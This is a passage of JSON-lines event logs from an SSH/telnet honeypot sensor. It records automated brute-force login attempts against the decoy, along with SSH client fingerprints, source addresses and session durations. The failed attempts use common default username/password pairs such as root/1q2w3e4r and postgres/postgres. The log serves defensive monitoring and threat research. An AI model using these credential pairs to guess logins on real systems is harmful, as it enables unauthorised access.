{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:26.075530Z","src_ip":"176.65.132.129","session":"fcbef5e5a9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:26.159981Z","src_ip":"176.65.132.129","session":"fcbef5e5a9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:26.410527Z","src_ip":"176.65.132.129","session":"fcbef5e5a9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:27.518315Z","src_ip":"176.65.132.129","session":"fcbef5e5a9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35572,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1171b818b57","protocol":"ssh","message":"New connection: 176.65.132.129:35572 (159.203.135.109:22) [session: c1171b818b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:29.266605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:29.270860Z","src_ip":"176.65.132.129","session":"c1171b818b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:29.352788Z","src_ip":"176.65.132.129","session":"c1171b818b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:29.599280Z","src_ip":"176.65.132.129","session":"c1171b818b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:30.684425Z","src_ip":"176.65.132.129","session":"c1171b818b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.755295276641846,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:31.685732Z","src_ip":"152.42.224.71","session":"2c7b17f48efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176358222961,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:32.617498Z","src_ip":"152.42.224.71","session":"ff63ab3ea802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35586,"dst_ip":"159.203.135.109","dst_port":22,"session":"859c39621760","protocol":"ssh","message":"New connection: 176.65.132.129:35586 (159.203.135.109:22) [session: 859c39621760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:32.682665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:32.688120Z","src_ip":"176.65.132.129","session":"859c39621760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:32.770318Z","src_ip":"176.65.132.129","session":"859c39621760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:33.018879Z","src_ip":"176.65.132.129","session":"859c39621760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":36268,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdbfb5947161","protocol":"ssh","message":"New connection: 82.152.132.24:36268 (159.203.135.109:22) [session: bdbfb5947161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:33.936352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:33.941314Z","src_ip":"82.152.132.24","session":"bdbfb5947161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:34.067317Z","src_ip":"82.152.132.24","session":"bdbfb5947161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:34.139052Z","src_ip":"176.65.132.129","session":"859c39621760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf12345","message":"login attempt [root/asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:34.610510Z","src_ip":"82.152.132.24","session":"bdbfb5947161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.17443704605103,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:35.407360Z","src_ip":"152.42.224.71","session":"e8f82095d4ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:35.739971Z","src_ip":"82.152.132.24","session":"bdbfb5947161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45838,"dst_ip":"159.203.135.109","dst_port":22,"session":"3873938561c0","protocol":"ssh","message":"New connection: 176.65.132.129:45838 (159.203.135.109:22) [session: 3873938561c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:35.908810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:35.913616Z","src_ip":"176.65.132.129","session":"3873938561c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:35.997416Z","src_ip":"176.65.132.129","session":"3873938561c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:36.249692Z","src_ip":"176.65.132.129","session":"3873938561c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:37.337075Z","src_ip":"176.65.132.129","session":"3873938561c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45878,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dd2e398b1de","protocol":"ssh","message":"New connection: 176.65.132.129:45878 (159.203.135.109:22) [session: 3dd2e398b1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:39.138894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:39.148414Z","src_ip":"176.65.132.129","session":"3dd2e398b1de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:39.233193Z","src_ip":"176.65.132.129","session":"3dd2e398b1de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:39.653563Z","src_ip":"176.65.132.129","session":"3dd2e398b1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:40.739468Z","src_ip":"176.65.132.129","session":"3dd2e398b1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45888,"dst_ip":"159.203.135.109","dst_port":22,"session":"3983b0df742d","protocol":"ssh","message":"New connection: 176.65.132.129:45888 (159.203.135.109:22) [session: 3983b0df742d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:42.506909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:42.512650Z","src_ip":"176.65.132.129","session":"3983b0df742d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:42.595182Z","src_ip":"176.65.132.129","session":"3983b0df742d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:42.841492Z","src_ip":"176.65.132.129","session":"3983b0df742d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:43.926273Z","src_ip":"176.65.132.129","session":"3983b0df742d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35976,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3ad537df29","protocol":"ssh","message":"New connection: 176.65.132.129:35976 (159.203.135.109:22) [session: 4b3ad537df29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:45.713004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:45.718246Z","src_ip":"176.65.132.129","session":"4b3ad537df29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:45.807532Z","src_ip":"176.65.132.129","session":"4b3ad537df29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:46.186229Z","src_ip":"176.65.132.129","session":"4b3ad537df29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:47.273434Z","src_ip":"176.65.132.129","session":"4b3ad537df29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.49967432022095,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:47.956830Z","src_ip":"152.42.224.71","session":"18b52150d993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":54360,"dst_ip":"10.17.0.5","dst_port":22,"session":"2099856da0c2","protocol":"ssh","message":"New connection: 45.162.8.14:54360 (10.17.0.5:22) [session: 2099856da0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:48.877916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:38:48.885438Z","src_ip":"45.162.8.14","session":"2099856da0c2","protocol":"ssh"}
